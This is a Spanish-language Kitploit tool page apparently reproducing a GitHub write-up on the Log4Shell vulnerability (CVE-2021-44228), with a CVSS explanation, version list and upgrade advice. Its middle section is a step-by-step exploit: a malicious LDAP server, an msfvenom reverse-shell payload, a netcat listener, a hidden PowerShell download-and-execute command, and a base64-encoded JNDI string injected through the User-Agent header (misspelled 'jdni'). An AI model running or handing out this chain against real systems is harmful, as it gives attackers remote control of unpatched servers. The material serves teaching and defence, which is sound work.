Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-44228 — Log4Shell (CVE-2021-44228): Descripción, Explotación y Mitigación | Kitploit
Herramientas/GitHubGitHub/zaneef/cve-2021-44228
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebComando y ControlAprendizaje y Educación
GitHubzaneef/cve-2021-44228

CVE-2021-44228

Log4Shell (CVE-2021-44228): Descripción, Explotación y Mitigación

Ver Repositorio
2hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-44228

El 9 de diciembre de 2021 el mundo conoció una nueva falla de seguridad relacionada con Log4J. La puntuación CVSSv3 (Common Vulnerability Scoring System) de la vulnerabilidad fue evaluada en 10, lo que la convierte en nivel crítico (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).

CVSSv3

Su vector CVSSv3 es el siguiente: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

Aclaremos un poco los valores para que se comprenda plenamente el motivo de la evaluación:

  • AV:N (Vector de ataque: Red) : El vector de ataque es la red y, por lo tanto, un posible dispositivo vulnerable es explotable de forma remota.
  • AC:L (Complejidad de ataque: Baja) : La complejidad del ataque es baja y, por lo tanto, puede ser realizado incluso por un atacante con poco conocimiento de la vulnerabilidad, de su funcionamiento o con poca habilidad.
  • PR:N (Privilegios requeridos: Ninguno) : No se requiere ningún privilegio dentro del sistema.
  • UI:N (Interacción del usuario: Ninguna) : El sistema es vulnerable incluso sin ninguna interacción por parte de un usuario.
  • S:C (Alcance: Modificado)
  • C:H (Confidencialidad: Alta) : La confidencialidad de la información dentro de la máquina está completamente comprometida. Esto conlleva una pérdida total del secreto de los datos y su divulgación al atacante.
  • I:H (Integridad: Alta) : La integridad de la información contenida en la máquina está completamente comprometida. Un atacante puede modificar o eliminar cualquier archivo.
  • A:H (Disponibilidad: Alta) : El atacante es capaz de denegar por completo el acceso a la información o a los servicios de la máquina.
  • ¿Qué es Log4J?

    Log4J es una librería de Java, ahora parte del proyecto Apache Software Foundation, que permite mantener bajo control el estado de una aplicación.

    Es el estándar de facto para el logging de las aplicaciones Java.

    ¿Cómo funciona?

    La vulnerabilidad se basa en JNDI (Java Naming and Directory Interface): una API de Java que permite a una aplicación interactuar con un servicio de directorio externo (por ejemplo, LDAP).

    La interacción se produce a través de la funcionalidad de lookup de JNDI que, habilitada en la configuración por defecto de Log4J, permite la interacción con un servidor remoto.

    Reverse Shell TCP mediante la explotación de Log4J

    Algunas precisiones útiles para la lectura:

    • La IP de la máquina del atacante es 10.0.0.1
    • La IP de la máquina vulnerable a Log4Shell es 10.0.0.2
    • El sistema operativo de la máquina vulnerable es Windows con una arquitectura x86
    • La máquina vulnerable tiene una aplicación web en ejecución en el puerto 80 y accesible en la URL http://hackme.com
    ❗ ATENCIÓN ❗
    La técnica de ataque descrita a continuación debe servir únicamente para comprender la peligrosidad real de la vulnerabilidad en cuestión. El autor se desmarca y condena cualquier uso indebido del siguiente artículo.

    El objetivo del siguiente ataque es explotar Log4Shell para conseguir descargar y ejecutar una reverse shell en el sistema vulnerable y así tener control total sobre él.

    1. Configuración de la máquina atacante

    1. Vamos a descargar el repositorio que contiene el código necesario para la inicialización de un servidor LDAP malicioso
    root@kitploit:~
    wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
    unzip JNDIExploit.v1.2.zip
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
    
    1. Vamos a crear una reverse shell TCP para Windows con msfvenom para poder recibir, en el puerto 8888, el acceso remoto a la máquina
    root@kitploit:~
    msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
    
    1. Inicializamos un listener, mediante nc, en el puerto 8888 para recibir la conexión de la reverse shell cargada en la máquina vulnerable
    root@kitploit:~
    nc -lvnp 8888
    
    1. Vamos a ejecutar un servidor HTTP para permitir la descarga del malware desde la máquina objetivo:
    root@kitploit:~
    python3 -m http.server 4444
    
    1. Mediante el siguiente comando en Powershell, el atacante podrá conectarse a su propio servidor HTTP, descargar el malware en el directorio C:\windows\temp y ejecutarlo
    root@kitploit:~
    powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
    
    1. Vamos a codificar el payload anterior en base64 mediante el siguiente comando
    root@kitploit:~
    echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
    

    El resultado del comando anterior es el siguiente:

    root@kitploit:~
    cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
    

    2. Explotación

    1. Supongamos que la aplicación web registra el User-Agent de un visitante. El atacante envía una solicitud similar a:
    root@kitploit:~
    GET / HTTP/1.1
    Host: hackme.com
    User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
    
    1. La cadena
    root@kitploit:~
    ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
    

    se pasa a Log4J, que la interpreta y, a través de JNDI, realiza la solicitud al servidor LDAP del atacante

    root@kitploit:~
    ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
    
    1. El malware se descarga y se ejecuta.

    2. El atacante obtiene una shell de la máquina en el puerto 8888.

    ¿Soy vulnerable?

    Ante todo, es necesario recordar que es una vulnerabilidad que afecta SOLO al software que utiliza Java o algún derivado (y, obviamente, Log4J como librería de logging).

    • 2.0-beta9 - 2.14.1: Las versiones vulnerables a Log4Shell van desde la 2.0-beta9 hasta la 2.14.1.
    • 2.15.0: La versión 2.15.0 de Log4J ha sido encontrada vulnerable. CVE-2021-45046. Por el momento, la evaluación de la vulnerabilidad es "9.0 Critical".
    • 2.16.0: La versión 2.16.0 de Log4J ha sido encontrada vulnerable. CVE-2021-45105. Por el momento, la evaluación de la vulnerabilidad es "7.5 High".

    La versión 1.x de Log4J no es estrictamente vulnerable a la falla de seguridad de referencia, pero, además de haber quedado en desuso en 2015, está afectada por la siguiente vulnerabilidad: CVE-2021-4104.

    ¿Cómo puedo remediarlo?

    La mejor solución es actualizar Log4J a la versión 2.17.0.

    Descargar herramienta